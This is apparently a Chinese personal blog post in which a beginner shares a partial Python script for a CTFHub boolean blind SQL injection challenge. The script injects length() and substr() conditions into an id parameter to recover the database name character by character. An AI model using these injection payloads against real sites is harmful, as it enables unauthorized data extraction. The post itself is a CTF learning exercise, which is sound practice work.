布尔盲注python脚本(部分)
本文最后更新于396 天前,其中的信息可能已经过时,如有错误请发送邮件到2292955451@qq.com

对于这个布尔盲注的脚本,可谓是付出了许多精力。我只学过两个小时的python,因此在这速成的道路上,走得真的很艰难。但是所幸的是,我最后还是成功地写出了hub上面的部分盲注脚本,这是我人生中写出来的第一个脚本,对于我来说非常有纪念意义,在接下来的时间里,我会争取将它完善,变成一个完整的脚本。

import requests   #使用request库

word="query_success"
url="http://challenge-e0b214636760b4cf.sandbox.ctfhub.com:10800" #输入网址
htmllen=len(requests.get(url=url+"?id=1").text) #发送一个GET请求到指定URL,并接受响应的html的长度
print("HTML的长度为:"+str(htmllen))
dblen=0
while True:
    db_url="http://challenge-e0b214636760b4cf.sandbox.ctfhub.com:10800?id=1 and length(database())=%d" % dblen
    print(db_url)
    if "query_success" in requests.get(db_url).text: 
        print("数据库名字的长度为:"+str(dblen))
        break
    if dblen==30:  #这个我也不知道为什么,30是什么特别的数字吗?
        print("Error!")
        break
    dblen+=1
dbname=""

for i in range(1,dblen+1):
    for j in range(33,128):#这个很简单,就是用substr()的截断功能,从第一位开始爆破数据库名,当第一个数字正确时,再爆破第二个数字
        dbname_url= "http://challenge-e0b214636760b4cf.sandbox.ctfhub.com:10800?id=1 and ord(substr(database(),%d,1))=%d" %(i,j)
        res=requests.get(dbname_url).text
        if word in res:
            dbname+=chr(j)
            break
print("数据库的名称为:"+dbname)
文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇